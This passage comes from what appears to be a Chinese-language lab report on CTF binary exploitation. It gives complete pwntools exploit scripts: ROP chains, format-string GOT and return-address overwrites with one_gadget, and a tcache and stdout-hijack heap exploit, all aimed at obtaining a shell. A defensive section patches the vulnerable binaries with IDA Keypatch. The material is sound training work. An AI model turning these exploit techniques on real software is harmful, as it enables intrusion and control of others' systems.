gdb.debug('./PicoCTF\_2018\_can-you-gets-me')  io = process('./PicoCTF\_2018\_can-you-gets-me')    io.recvuntil('GIVE ME YOUR NAME!\n')  payload = b'a' \* 24 + b'a' \* 4  payload += p32(gets) + p32(main) + p32(bss)  io.sendline(payload)  io.sendline('/bin/sh\x00')    pppr = 0x0806f050  # : pop edx ; pop ecx ; pop ebx ; ret  int80 = 0x0806cc25  # : int 0x80  peax = 0x080b81c6  # : pop eax ; ret    io.recvuntil('GIVE ME YOUR NAME!\n')  payload = b'a' \* 24 + b'a' \* 4  payload += p32(pppr) + p32(0) + p32(0) + p32(bss)  payload += p32(peax) + p32(0xb)  payload += p32(int80)  io.sendline(payload)    io.interactive()    通过调试可以看到第三次gets函数执行后，栈中数据如下图，并且可以知道接下来将执行的命令pop等，即调用execve函数。    执行系统调用后，成功得到了shell   B. 方法二：使用ROPgadget工具构造payload 可以使用ROPgadget工具直接构造rop链    将构造好的rop链封装为payload，发送给程序，完整程序如下  from pwn import \*  from struct import pack  io = process("./PicoCTF\_2018\_can-you-gets-me")    offset = 0x18  p = b'a' \* (offset + 4)  p += pack('<I', 0x0806f02a) # pop edx ; ret  p += pack('<I', 0x080ea060) # @ .data  p += pack('<I', 0x080b81c6) # pop eax ; ret  p += b'/bin'  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret  p += pack('<I', 0x0806f02a) # pop edx ; ret  p += pack('<I', 0x080ea064) # @ .data + 4  p += pack('<I', 0x080b81c6) # pop eax ; ret  p += b'//sh'  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret  p += pack('<I', 0x0806f02a) # pop edx ; ret  p += pack('<I', 0x080ea068) # @ .data + 8  p += pack('<I', 0x08049303) # xor eax, eax ; ret  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret  p += pack('<I', 0x080481c9) # pop ebx ; ret  p += pack('<I', 0x080ea060) # @ .data  p += pack('<I', 0x080de955) # pop ecx ; ret  p += pack('<I', 0x080ea068) # @ .data + 8  p += pack('<I', 0x0806f02a) # pop edx ; ret  p += pack('<I', 0x080ea068) # @ .data + 8  p += pack('<I', 0x08049303) # xor eax, eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0807a86f) # inc eax ; ret  p += pack('<I', 0x0806cc25) # int 0x80    io.sendline(p)  io.interactive()  运行程序，发现成功获取shell   4.3. day3实验1 完成32位目标程序axb\_2019\_fmt32的利用 首先对文件进行例行检查    之后查看链接器和链接库版本是否正确，如果不对的话使用patchelf工具进行设置    然后我们拖到ida32里面进行检查    该段程序主体就是这个while循环，对s设置257个字节的长度，format设置300字节的长度，之后向s处读取256字节的长度（<257就没有缓冲区溢出了），之后再将字符串s复制给字符串format，如果format长度大于270就退出。  很明显，这里的s字符串也就是format使我们能够控制的，在后面还进行了printf的打印，自然就是格式化字符串漏洞，通过输入“%n”来控制赋值，我们先来测试一下（这个alarm是真滴烦）      首先我们运行一下找找输入的参数在栈上的相对位置，多一个‘B’相对偏移+8    那么我们的思路就是：read没有溢出，通过printf的格式化字符串漏洞，修改got表，来执行system函数，先用格串泄露system的地址，在把strlen的got表修改成system的地址，执行strlen，拿到shell（当然也因为使用了read系统函数，沃我们可以利用one\_gadget进行利用）  one\_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段，当可以泄露libc地址，并且可以知道libc版本的时候，可以使用此方法来快速控制指令寄存器开启shell。相比于system("/bin/sh")，这种方式更加方便，不用控制RDI、RSI、RDX等参数  我们首先安装ruby，之后安装one\_gadget进行      之后我们直接使用one\_gadget对题目中所给的libc.so进行检查，查找其中可供利用execve地址      我们选择将got表中的read函数替换为我们上面找到的execve中的任意一个   1. one\_gadget\_list = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6] 2. libc\_base = addr - libc.sym['\_\_libc\_start\_main'] 3. one\_gadget = libc\_base + one\_gadget\_list[1]   这里的addr就是前面我们找到的got表，然后后面我们使用pwntools的库函数“fmtstr\_payload()”该函数用于简化格式化字符串漏洞的利用，可以实现修改任意内存（我们这里修改read的got表位置为one\_gadget就达到目的了），其函数原型如下：  fmtstr\_payload(offset, writes, numbwritten=0, write\_size=‘byte’)   * 第一个参数表示格式化字符串的偏移。这里和我们前面多一个字串偏移出来的8对应 * 第二个参数表示需要利用%n写入的数据，采用字典形式。这里我们打算将read的GOT数据改为我们的one\_gadget地址 * 第三个参数表示已经输出的字符个数。前面已输出的printf有“Repeater：”共10个字符串 * 第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int）。我们直接默认 * fmtstr\_payload函数返回的就是payload   那么我们的使用格式如下（这里的a是我们需要进行的偏移）：   1. payload = b'a'+fmtstr\_payload(8,{readGOT:one\_gadget},numbwritten=10)   话不多说，我们开始运行程序，首先我们要找到read的got表位置，从而对其进行修改    接下来我们运行到read函数附近“Please tell me：”，我们先输入ls，方便查看此时栈与寄存器等中的变化    此时我们已经完成对got表等的修改，之后来到第二次循环的read下面，我们直接c到此处查看    继续下一步，我们发现地址与寄存器都变成了64位下的样子，这说明我们已经进入到了钱买你提到过的one\_gadget的偏移地址里面，可以看到下面还有一个“syscall”也印证了我们的猜想    再继续向下走，我们就找到了之前输入的“ls”    继续向下走，我们又看到栈中已经压入了ls，再走一会儿    经过非常长的一段selinux钩子函数，我们就可以得到最终结果如下，当然方便起见我们直接对exit函数下断点，然后直接运行到断点处也能够直接得到最终的shell   实验2 完成目标程序pb的利用 首先查看可执行文件开启保护的情况可以知道该程序只开启了NX保护，栈保护中没有开启canary，也没有开启PIE保护。  RELRO保护（堆栈地址随机化重定位表只读保护）的值为partial relro 表示保护部分开启，GOT表可写，如果该项保护的值为full relro则说明保护全部开启，got 可写；如果值为No RELRO则说明该保护关闭。  根据RELRO保护的情况我们可以尝试修改.got.plt表的值，将printf等函数的返回地址进行修改来实现获取本地shell的目标    将可执行文件放入到IDA中进行分析可以得到程序的C语言代码，该代码循环执行vuln函数6次，在vuln函数中存在puts函数，read函数向gBuf变量读入0x64(100)个字节，然后调用printf函数输出gBuf，可以很明显的看出来存在格式化字符串漏洞      在IDA中查看gBuf变量的位置如下，可以看出该变量所在的段为bss段，该变量的大小是0x130(304)个字节，而在read函数中只输入了0x64(100)个字节，所以变量赋值不会超出长度发生栈溢出    首先编写exp自动化脚本开启调试功能  from pwn import \*  context(log\_level='debug',os='linux',arch='amd64')    libc=ELF("./libc-2.23.so")  p=process("./pb")  elf=ELF("./pb")  def bug():  gdb.attach(p)  pause()    bug()  接下来在vuln函数的起始地址打断点    运行程序，将程序执行到printf的起始处    在这里我们查看rdi寄存器中保存的内容为“n\n”，因为这里还没有构造payload，所以gBuf变量中还不存在构造的payload    执行telescope命令显示一段内存区域的内容，找到\_\_libc\_start\_main+240项的地址为0x7ffff7820840。  栈顶到该项的地址有5项内容，而64位程序在传参的过程中会附加6个寄存器变量的值，所以在之后的步骤构造payload时可以通过打印第11个指针的内容来泄露出main函数的返回地址即\_\_libc\_start\_main+240项的地址。  在main函数下面存在有多个指针链存在，其位置为第13个指针的内容    根据上面的信息我们可以构造exp脚本来泄露对应的地址如下  from pwn import \*    context.log\_level = 'debug'    libc = ELF('./libc-2.23.so')    io = process("./pb")    payload = "%11$p%13$p"  gdb.attach(io, 'b \*0x400779')  io.sendlineafter("How to do?\n", payload)    leak = eval(io.recv(14))  info('leak==>'+hex(leak))    libc\_start\_main = leak - 240  info('libc\_start\_main==>'+hex(libc\_start\_main))    stack\_leak\_addr = eval(io.recv(14))  info('stack\_leak\_addr==>'+hex(stack\_leak\_addr))    io.interactive()  查看自动化脚本的运行结果可以发现我们能够成功泄露出main函数的返回地址leak==>0x7f4ea1420840,将获取到的leak减去240即可获取到main函数的起始地址libc\_start\_main==>0x7f4ea1420750;然后泄露栈中第13项的内容为stack\_leak\_addr==>0x7ffd9e9a5b28    因为非栈上格式化字符串的利用不能够直接通过构造字符串溢出到指定的位置去修改栈上对应地址的内容，只能够计算栈上参数所在的相对位置，找到栈上存在有两个指针的位置a->b->c，通过更改b地址的值来改写c地址位置的值，然后再通过c指针去改c指针指向的数据的内容。  重新运行exp在程序开始时查看栈帧结构如下，可以找到符合要求的栈帧结构在第8项，构造payload时应当构造为8+6=14    接下来查看第八项b指针所处的位置，可以发现改指针所处的位置是第0x22项在构造payload时构造为34+6=40项    因此我们的思路是将栈的8号位置的b指针内容c修改为栈上6号位置main函数的返回地址的值。  接下来在之前构造完毕的exp中添加内容，构造新的exp如下，首先计算栈上的返回地址在栈上所处的位置为当前函数的返回地址-256+32，将变量的内容保存在ret\_addr中。  ret\_addr = stack\_leak\_addr - 256 + 32  info('ret\_addr==>'+hex(ret\_addr))  接下来取返回地址的后16位，因为要修改的两个变量之间相差之后最后的16位，作为我们要写入的数据write\_in，在变量num\_len中保存写入数据转变为字符串之后的长度  write\_in = ret\_addr & 0xffff  num\_len = len(str(write\_in))  接下来构造第一个payload，格式化字符串将输出足够的字符来匹配 write\_in 的值，但需要考虑到格式化字符串本身的长度（即 num\_len）以及额外的调整值（这里是 +5）。这里因为%n写入的数据是之前输出的字符串的长度所以这里的意思是将输出的字符数量作为一个短整型数（16位）写入到参数列表中第13个参数指向的位置。  这里因为程序起始时目标指针链在栈上的第7项，所以要写到7+6=13的位置  payload = "%{}c%13$hn".format(write\_in - num\_len + 5)  io.sendlineafter("How to do?\n", payload)  最终构造出完整的exp为  from pwn import \*    context.log\_level = 'debug'    libc = ELF('./libc-2.23.so')    io = process("./pb")    payload = "%11$p%13$p"  gdb.attach(io, 'b \*0x400779')  io.sendlineafter("How to do?\n", payload)    leak = eval(io.recv(14)) #0x7f4ea1420840  info('leak==>'+hex(leak))    libc\_start\_main = leak - 240 #0x7f4ea1420750  info('libc\_start\_main==>'+hex(libc\_start\_main))    stack\_leak\_addr = eval(io.recv(14)) #0x7ffd9e9a5b28  info('stack\_leak\_addr==>'+hex(stack\_leak\_addr))    ret\_addr = stack\_leak\_addr - 256 + 32  info('ret\_addr==>'+hex(ret\_addr))    write\_in = ret\_addr & 0xffff  num\_len = len(str(write\_in))  payload = "%{}c%13$hn".format(write\_in - num\_len + 5)  io.sendlineafter("How to do?\n", payload)    io.interactive()  运行该exp之后查看栈帧结构，可以发现目标位置b指针为0x7ffddf909c78，其指向的位置c指针的值为0x7ffddf90a3d6    继续向下运行后可以发现指针c的值成功被写为了函数main的返回地址所在的栈地址。    在构造第二个payload值之前，我们需要首先获取one\_gadget，在终端中使用one\_gadget工具执行如下指令  one\_gadget libc-2.23.so  获取到的one\_gadget表如下所示    将获取到的one\_gadget表写入exp脚本中  one\_gadget\_list = [0x4527a, 0xf03a4, 0xf1247]  one\_gadget = libc\_base + one\_gadget\_list[-1]  info("one\_gadget==>"+hex(one\_gadget))  接下来构造第二个payload，我们在之前的步骤中已经知道b指针在栈中的位置为0x22,但是之前在计算偏移时程序刚开始运行时需要将栈位置的偏移-1，所以我们要更改的b指针在栈上的位置就是0x22+6-1=39。  需要将b指针的值修改为之前计算出来的one\_gadget的值以short类型进行写入。  payload = "%{}c%39$hn".format((one\_gadget & 0xffff))  io.sendlineafter("How to do?\n", payload)  据此构造出的完整的exp为  from pwn import \*    context.log\_level = 'debug'    libc = ELF('./libc-2.23.so')    io = process("./pb")    payload = "%11$p%13$p"  gdb.attach(io, 'b \*0x400779')  io.sendlineafter("How to do?\n", payload)    leak = eval(io.recv(14)) #0x7f4ea1420840  info('leak==>'+hex(leak))    libc\_start\_main = leak - 240 #0x7f4ea1420750  info('libc\_start\_main==>'+hex(libc\_start\_main))    libc\_base = libc\_start\_main - libc.sym['\_\_libc\_start\_main']  info(hex(libc\_base))    stack\_leak\_addr = eval(io.recv(14)) #0x7ffd9e9a5b28  info('stack\_leak\_addr==>'+hex(stack\_leak\_addr))    ret\_addr = stack\_leak\_addr - 256 + 32  info('ret\_addr==>'+hex(ret\_addr))    write\_in = ret\_addr & 0xffff  num\_len = len(str(write\_in))  payload = "%{}c%13$hn".format(write\_in - num\_len + 5)  io.sendlineafter("How to do?\n", payload)    one\_gadget\_list = [0x4527a, 0xf03a4, 0xf1247]  one\_gadget = libc\_base + one\_gadget\_list[-1]  info("one\_gadget==>"+hex(one\_gadget))    payload = "%{}c%39$hn".format((one\_gadget & 0xffff))  io.sendlineafter("How to do?\n", payload)    io.interactive()  运行该自动化脚本  首先查看b指针修改之前的值    继续向下运行可以发现我们成功将目标位置的后四位修改为了one\_gadget变量的后四位的值    接下来继续构造payload去修改第13个参数，需要修改返回地址高两位的数据所以最后加上的偏移量应该为5+2=7  payload = "%{}c%13$hn".format(write\_in - num\_len + 7)  io.sendlineafter("How to do?\n", payload)  接下来继续构造payload去修改第39个参数  payload = "%{}c%39$hn".format(((one\_gadget >> 16) & 0xffff))  io.sendlineafter("How to do?\n", payload)  构造成的完整的exp程序如下  from pwn import \*    context.log\_level = 'debug'    libc = ELF('./libc-2.23.so')    io = process("./pb")    payload = "%11$p%13$p"  gdb.attach(io, 'b \*0x400779')  io.sendlineafter("How to do?\n", payload)    leak = eval(io.recv(14)) #0x7f4ea1420840  info('leak==>'+hex(leak))    libc\_start\_main = leak - 240 #0x7f4ea1420750  info('libc\_start\_main==>'+hex(libc\_start\_main))    libc\_base = libc\_start\_main - libc.sym['\_\_libc\_start\_main']  info(hex(libc\_base))    stack\_leak\_addr = eval(io.recv(14)) #0x7ffd9e9a5b28  info('stack\_leak\_addr==>'+hex(stack\_leak\_addr))    ret\_addr = stack\_leak\_addr - 256 + 32  info('ret\_addr==>'+hex(ret\_addr))    write\_in = ret\_addr & 0xffff  num\_len = len(str(write\_in))  payload = "%{}c%13$hn".format(write\_in - num\_len + 5)  io.sendlineafter("How to do?\n", payload)    one\_gadget\_list = [0x45226,0x4527a, 0xf03a4, 0xf1247]  one\_gadget = libc\_base + one\_gadget\_list[3]  info("one\_gadget==>"+hex(one\_gadget))    payload = "%{}c%39$hn".format((one\_gadget & 0xffff))  io.sendlineafter("How to do?\n", payload)    payload = "%{}c%13$hn".format(write\_in - num\_len + 7)  io.sendlineafter("How to do?\n", payload)  payload = "%{}c%39$hn".format(((one\_gadget >> 16) & 0xffff))  io.sendlineafter("How to do?\n", payload)  io.interactive()  运行构造好的exp脚本，找到第13个参数的位置可以发现最后一个指针低四位已经被我们改成了one\_gadget的低四位,所以接下来我们需要修改其低6位    查看b指针的内容如下    在查看其高两个字节的内容，发现其地址40e3正好对应上面需要修改的地址0x7fae8b421247中8b42的位置    继续运行该程序可以发现打印出来的one\_gadget的值为0x7fae8b4f1247，查看第五个参数的值发现成功被修改为了one\_gadget的值    最后因为我们需要构造六次输入才能够返回到main函数中，而在前面的步骤中我们构造了5次payload，所以在这里我们需要再随便构造一个payload才能够将程序从函数中返回main函数  io.sendlineafter("How to do?\n", 'a'\*100)  最后完整的exp脚本如下所示，最终函数在返回的时候就会直接返回到我们的one\_gadget中  from pwn import \*    #context.log\_level = 'debug'    libc = ELF('./libc-2.23.so')    io = process("./pb")    payload = "%11$p%13$p"  gdb.attach(io, 'b \*0x400779')  io.sendlineafter("How to do?\n", payload)    leak = eval(io.recv(14)) #0x7f4ea1420840  info('leak==>'+hex(leak))    libc\_start\_main = leak - 240 #0x7f4ea1420750  info('libc\_start\_main==>'+hex(libc\_start\_main))    libc\_base = libc\_start\_main - libc.sym['\_\_libc\_start\_main']  info(hex(libc\_base))    stack\_leak\_addr = eval(io.recv(14)) #0x7ffd9e9a5b28  info('stack\_leak\_addr==>'+hex(stack\_leak\_addr))    ret\_addr = stack\_leak\_addr - 256 + 32  info('ret\_addr==>'+hex(ret\_addr))    write\_in = ret\_addr & 0xffff  num\_len = len(str(write\_in))  payload = "%{}c%13$hn".format(write\_in - num\_len + 5)  io.sendlineafter("How to do?\n", payload)    one\_gadget\_list = [0x45226,0x4527a, 0xf03a4, 0xf1247]  one\_gadget = libc\_base + one\_gadget\_list[3]  info("one\_gadget==>"+hex(one\_gadget))    payload = "%{}c%39$hn".format((one\_gadget & 0xffff))  io.sendlineafter("How to do?\n", payload)    payload = "%{}c%13$hn".format(write\_in - num\_len + 7)  io.sendlineafter("How to do?\n", payload)    payload = "%{}c%39$hn".format(((one\_gadget >> 16) & 0xffff))  #gdb.attach(io, "b \*0x400779")  io.sendlineafter("How to do?\n", payload)    io.sendlineafter("How to do?\n", 'a'\*100)    io.interactive()  运行该脚本发现能够成功获取到本机shell   实验3 利用IDA插件keypatch完成对AWD文件夹下format、gets、pwn的程序修补（1）format程序修补 查看程序属性，得知format是一个64位的ELF可执行文件，使用x86-64架构。它是动态链接的，意味着它依赖于一些共享库来完成运行时的链接。其中使用的解释器是/lib64/ld-linux-x86-64.so.2，该解释器负责加载和执行可执行文件。      运行format程序，结果如下，程序获取name和message的输入，接着按照message、name次序输出，最后输出一个换行    执行exp.py格式化字符串漏洞利用程序，发现成功获取shell    使用IDA64bit打开format程序，可以看大在程序最后使用了printf函数来输出buf的内容，但是在使用printf函数时没有没有进行合适的格式化参数控制和输入验证，这使得攻击者可以通过构造恶意的格式化字符串来执行任意代码或者泄露程序中的内存内容。    下面我们尝试修复此格式化字符串漏洞 A.方法一：将printf改为puts 因为程序同时使用了printf函数和puts函数，并且两个函数的都只是用了一个参数，那么我们可以使用puts函数来替换printf函数。首先在IDA中找到puts函数和printf函数的plt表地址，可以看到\_puts函数的plt表地址为0x4005F0，而\_printf函数的plt表地址为0x400620，两个函数的plt表地址长度一致，可以直接修改代码段替换printf函数，当两个函数的plt表地址长度不一致时，直接修改会导致程序中的用到的偏移量需要重新计算，否则无法正常运行。    在代码段找到有格式化字符串漏洞的\_printf函数的位置，在地址0x40086A处    在此处右键选择Keypatch->Patcher    将assembly的汇编代码修改为call 0x4005F0，来调用puts函数    可以看到修改后的代码变为call \_puts    修改后的机器码与call \_puts指令的机器码相同，都是E8 AD FD FF FF。    保存修改    运行修复后的程序，可以看到能构正常运行，只是在输出message后添加了一个换行符，这是因为puts函数自动会在输出的字符串后面输出一个换行符。    运行格式化漏洞利用程序，发现目标程序正常结束，已经无法获取shell   B.方法二：为printf函数添加一个参数%s 为了使修复后的程序与源程序的功能一致，这里使用另一种方法，给printf函数添加一个参数%s，即将printf(buf)修改为printf(“%s”,buf)。  可以看到程序在传递buf地址参数后，执行了一条mov eax,0指令，那么可以修该这条指令将我们的%s参数传入printf函数。    通过搜索发现程序中不存在%s字符，那么手动添加。    .eh\_frame段包含了异常处理的相关信息，用于处理程序中的异常和调用堆栈展开。.eh\_frame段通常由编译器生成，包含了一系列的异常处理框架描述，以及与程序的异常处理机制相关的其他信息。  在.eh\_frame段中填入字符串%s并不会直接影响程序的正常运行。.eh\_frame段的内容主要是用于异常处理和调试，与程序的执行路径和功能无直接关系。  于是我们修改以下地址的内容    在hex视图跳转到要修改的地址0x4009A4，修改后保存，可以看到修改成功      修改buf指针的传参，将buf指针传递给rsi    接着要修改mov eax,0指令为mov rdi,0x4009A4，但是发现新的指令的长度比原指令长度多两个字节。  那么我们将传参的指令放到0x4009C6去执行，避免传参后jmp，参数寄存器的值被修改。撤回上面对mov rdi,rax的修改将mov eax,0修改为jmp 0x4009C6处去执行指令      将0x4009C6处使用keypatch修改为如下指令，使%s参数传递给printf并跳回到原来的指令处。  mov rsi, rdi  lea rdi, 0x4009A4  call \_printf ;0x400620  jmp loc\_40086F          修改结果      保存修改，运行修改后的程序，发现成功运行并且功能没有发生改变    运行漏洞利用程序，发现目标程序正常结束，无法获取shell。   C.方法三：使用write函数替代printf 同样在0x4009C6处执行我们的write系统调用，只需要修改此处的指令如下，这里将输出的长度设置为0x50，是因为在前面程序使用的read系统调用读取的长度为0x50，write系统调用号为1    mov rsi, rdi  mov edx, 0x50  mov edi, 1  syscall  jmp 0x40086F  具体修改如下：            保存修改，运行程序，发现程序正常运行且功能保持一致。    运行漏洞利用程序，可以看到目标程序正常结束，无法获取到shell。   （2）gets程序修补 查看程序属性，程序时64位，并且程序只开启了NX保护    运行程序查看程序功能，程序接受一个用户输入，然后输出字符串OK,Bye!    运行漏洞程序利用程序，发现成功获取shell    使用IDA64bits打开程序    查看vul函数，可以看到函数定义了一个v1的缓冲区，但在后面使用了gets函数来从输入流中获取内容并将其存储在缓冲区v1中，因为gets函数不会对输入的长度进行检查和限制，因此攻击者可以利用此处进行栈溢出修改函数的返回地址以执行shellcode。    修复的思路是将gets函数修改为其他有长度限制的函数，但在程序中并没有发现其他具有读入功能的函数，因此将gets函数修改为系统调用read来修复程序。    这里查看call \_puts指令处，发现只有五个字节（此指令的长度）可以供我们修改，那么将执行系统调用的代码放在.eh\_frame段中。    观察后决定将代码放在地址0x400800处    先修改call \_puts，使其跳转到0x400800      接着修改0x400800处进行read系统调用，需要注意读取的字节大小不大于缓冲区v1的大小0x70  具体指令如下  mov rsi, rdi  mov edx, 0x70  mov edi, 0  syscall  jmp 0x4006A            修改后的结果如下      保存修改，运行修改后的程序，程序正常运行并且功能不变。    执行漏洞利用程序，目标程序正常结束，无法获取shell。   （3）pwn程序修补 查看程序属性，程序是64为程序，并且没有开启canary保护    运行程序，查看程序功能，发现程序是读取一个用户输入，接着打印Hello，World！字符串    运行漏洞利用程序，发现成功获取shell    使用IDA64bits打开read程序    查看vulnerable\_function函数的功能，发现栈溢出漏洞，即函数在return时从标准流中读取了大小为0x200字节的内容，并将其放入到buf的空间中，但buf的空间只有128字节，攻击者可以利用此处漏洞修改函数返回地址去执行shellcode。    我们的修复方法就是将此处read读取的空间大小修改与buf的空间大小一致即0x80。因为buf的大小在编译时已经确定，无法通过直接修改二进制程序来修改buf的大小，所以这里修改read读取的长度。  找到vulnerable\_function函数的汇编代码，可以看出程序通过直接传递立即数给edx，即将立即数0x200作为参数传递给read函数。    这里直接修改为0x80后保存    修改后结果如下      运行修改后的程序，能正常运行    运行漏洞利用程序，发现程序出错，无法成功获取shell   4.4 day4实验1完成64位目标程序roarctf\_2019\_realloc\_magic的利用 首先查看文件属性，可以看到保护全开    查看程序链接库和libc版本    根据题目的介绍，我们需要使用patchelf工具将程序的链接库指定为2.27版本    修改后执行程序，程序正常运行    但是在后续的调试过程中发现tcache无法double free，经过查询发现是libc版本的问题，对于2.27的ubuntu1.5版本的补丁已经更新，无法进行use after free漏洞利用，接着尝试使用2.27-3ubuntu1\_amd64版本，可以进行double free。    使用IDA64bit打开程序  main函数    menu函数功能    get\_init函数    fr函数    ba函数    re函数    可以看到在分配内存时使用的函数是realloc，查看C++文档中realloc函数的说明如下。    在分析ba函数时，发现ba函数可以将realloc\_ptr置为空，但只有一次使用机会。而re函数存在double free漏洞，释放内存时没有将realloc\_ptr置为空。利用这个漏洞，我们可以实现任意地址写入操作。具体方法是通过修改tcache bin chunk的next指针来实现。首先，利用fr函数进行tcache dup扩张，将tcache填满，然后修改chunk的next指针，将其覆盖为\_free\_hook的地址，并将其修改为one\_gadget的地址。修改完成后，再次触发fr函数即可获取shell。  然而，由于程序使用的分配空间函数是realloc，当指针ptr不等于NULL时，realloc的功能与malloc不同，无法直接从bins中获取chunk。但根据realloc函数的特点，我们可以构造realloc\_ptr不等于0且size等于0的情况。这样，程序会执行free(realloc\_ptr)，并将realloc\_ptr置为0，从而使我们能够获取chunk。  由于程序中没有提供泄露地址的函数，我们尝试劫持stdout结构体来修改flags和\_IO\_write\_base的值，以泄露libc中的地址，并获取libc的基地址。首先写出响应交互函数  def realloc(size, content:bytes=b'\x00'):      r.sendlineafter('>> ', '1')      r.sendlineafter('Size?', str(size))      r.sendafter('Content?', content)    def free():      r.sendlineafter('>> ', '2')    def back():      r.sendlineafter('>> ', '666')  尝试使用realloc进行分配，发现size为0时，目标程序会直接输出 b'Content?\n'，b'Done\n'，接着调用menu，这会导致content输出被作为menu的选项，会出现invalid，影响脚本运行，因此修改交互函数realloc如下。    def realloc(size, content:bytes=b'\x00'):  r.sendlineafter('>> ', '1')  r.sendlineafter('Size?', str(size))  r.recvuntil("Content?\n")  if size > 0:  r.send(content)  下面开始构造攻击脚本  首先，分配一块合适大小的内存块A，用于后续扩张并覆写tcache bin chunk的size和next指针。利用re函数将realloc\_ptr指针置为空，然后分配一块大小在small bin chunk范围内的内存块B（如大小为0x80），以便之后可以获取unsorted bin。利用re函数将realloc\_ptr指针置为空，然后随意分配一块内存块C，用于隔开top chunk。利用re函数将realloc\_ptr指针置为空，再次申请大小为0x80的内存，以获取刚刚释放的内存块B。然后使用fr函数和re函数将realloc\_ptr释放8次，使tcache bin和unsorted bin重叠，并将realloc\_ptr对应的chunk的fd和bk指针指向main\_arena + 96，具体代码如下。  realloc(0x30)  realloc(0) #释放，并把指针置为空    realloc(0x80)  realloc(0)    realloc(0x40)  realloc(0) #置0 隔开topchunk    realloc(0x80)    for i in range(7):  free()    realloc(0) # 得到unsorted bin 同时将指针置空  通过本地gdb调试，运行完上面的代码我们可以得到如下bins    查看堆上的内存数据，可以看到分配的三个块。    重新申请内存块A，并进行扩张，将内存块B的size修改为0x51，确保在调用realloc(realloc\_ptr, 0)时不会改变tcache bin链上的指针。  接下来，通过申请一块内存接近stdout结构体的地址，劫持到stdout，修改flags和\_IO\_write\_base的值，以泄露libc的地址计算得到\_\_free\_hook地址。  realloc(0x30) #取出bin    libc = ELF('./libc-2.27.so')  p1 = p64(0) \* 7 + p64(0x51) + p8(0x60) + p8(0x87) # 修改两个字节 最低的一个字节是 0x60  realloc(0x50, p1)  realloc(0) #free    realloc(0x80)  realloc(0) #free    p1 = p64(0x0FBAD1887) + p64(0) \* 3 + p8(0x58)  realloc(0x80, p1)    r.recvuntil('\n')  libc\_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x3E82A0  free\_hook = libc\_base + libc.sym['\_\_free\_hook']  success('free\_hook = ' + hex(free\_hook))    继续之前的调试，可以发现，\_IO\_2\_1\_stdout\_的低两个字节和main\_arena + 96不同，理论上需要改这两个字节，实际上最后一个字节一直是0x60，所以只需要改一个字节就行了。    运行上面修改bins的代码，可以看到发送的p1如下图    再次查看bins，发现chunkB的size和next指针被修改，指向了\_IO\_2\_1\_stdout\_    继续运行，修改stdout结构体的flags来得到libc地址，可以看到泄露出的libc地址为0x7f03535b42a0    通过计算得到free\_hook的偏移    接着计算得到one\_gadget的地址，不能使用re函数来清空realloc\_ptr指针，因为程序会崩溃。这里选择使用ba函数将指针置为空，修改堆块的内容，将\_\_free\_hook地址覆写为one\_gadget地址。触发free函数，从而获取shell。  one = [0x4f2c5, 0x4f322, 0x10a38c]  one\_gadget = one[1] + libc\_base    back()    realloc(0x10)  realloc(0)    realloc(0x100)  realloc(0)    realloc(0x20)  realloc(0)    realloc(0x100)    for i in range(7):  free()    realloc(0)  realloc(0x10)    p2 = p64(0) \* 3 + p64(0x51) + p64(free\_hook)  realloc(0x50, p2)  realloc(0)    realloc(0x100)  realloc(0)    realloc(0x100, p64(one\_gadget))    free()    继续运行，可以看到连续分配释放内存块后的bins如下    连续释放七次后，tcachebins被填满    再次释放，获得unsortedbin的指针。    修改指针，指向free\_hook      紧接着释放      再次申请0x100的块，清空free\_hookfd指针。      紧接着释放上面申请的块      接着将ongadget的地址填到free\_hook处，再次调用free，即可获取到shell。这里因为\_IO\_2\_1\_stdout\_修改的那个字节的需要进行爆破得到，不在展示。  完整代码如下。  from pwn import \*    context.log\_level = 'debug'    file\_name = './roarctf\_2019\_realloc\_magic'    elf = ELF(file\_name)    def realloc(size, content:bytes=b'\x00'):      r.sendlineafter('>> ', '1')      r.sendlineafter('Size?', str(size))      r.recvuntil("Content?\n")      if size > 0:          r.send(content)    def free():      r.sendlineafter('>> ', '2')    def back():      r.sendlineafter('>> ', '666')    def attack():      realloc(0x30)      realloc(0)  #释放，并把指针置为空        realloc(0x80)      realloc(0)        realloc(0x40)      realloc(0)  #置0 隔开topchunk        realloc(0x80)        for i in range(7):          free()      realloc(0)  # 得到unsorted bin 同时将指针置空        realloc(0x30) #取出bin        libc = ELF('./libc-2.27.so')      p1 = p64(0) \* 7 + p64(0x51) + p8(0x60) + p8(0x87) # 修改两个字节 最低的一个字节是 0x60      realloc(0x50, p1)      realloc(0) #free        realloc(0x80)      realloc(0) #free      #申请到IO\_2\_1\_stdout结构体内部，低位覆盖\_IO\_write\_base，使得puts时泄露出信息      p1 = p64(0x0FBAD1887) + p64(0) \* 3 + p8(0x58)      realloc(0x80, p1)        r.recvuntil('\n')      libc\_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x3E82A0      free\_hook = libc\_base + libc.sym['\_\_free\_hook']      if libc\_base == -0x3e82a0:          exit(-1)      success('--------------------free\_hook = ' + hex(free\_hook))        one\_gadget = 0x4f322 + libc\_base        back()        realloc(0x10)      realloc(0)        realloc(0x100)      realloc(0)        realloc(0x20)      realloc(0)        realloc(0x100)        for i in range(7):          free()        realloc(0)      realloc(0x10)        p2 = p64(0) \* 3 + p64(0x51) + p64(free\_hook)      realloc(0x50, p2)      realloc(0)        realloc(0x100)      realloc(0)        realloc(0x100, p64(one\_gadget))        free()    # while True:  #     try:  #         #r = remote('node5.buuoj.cn',26696)  #         #r=gdb.debug("./roarctf\_2019\_realloc\_magic")  #         r = process("./roarctf\_2019\_realloc\_magic")  #         attack()  #         r.interactive()  #         break  #     except:  #         r.close()  try:      #r = 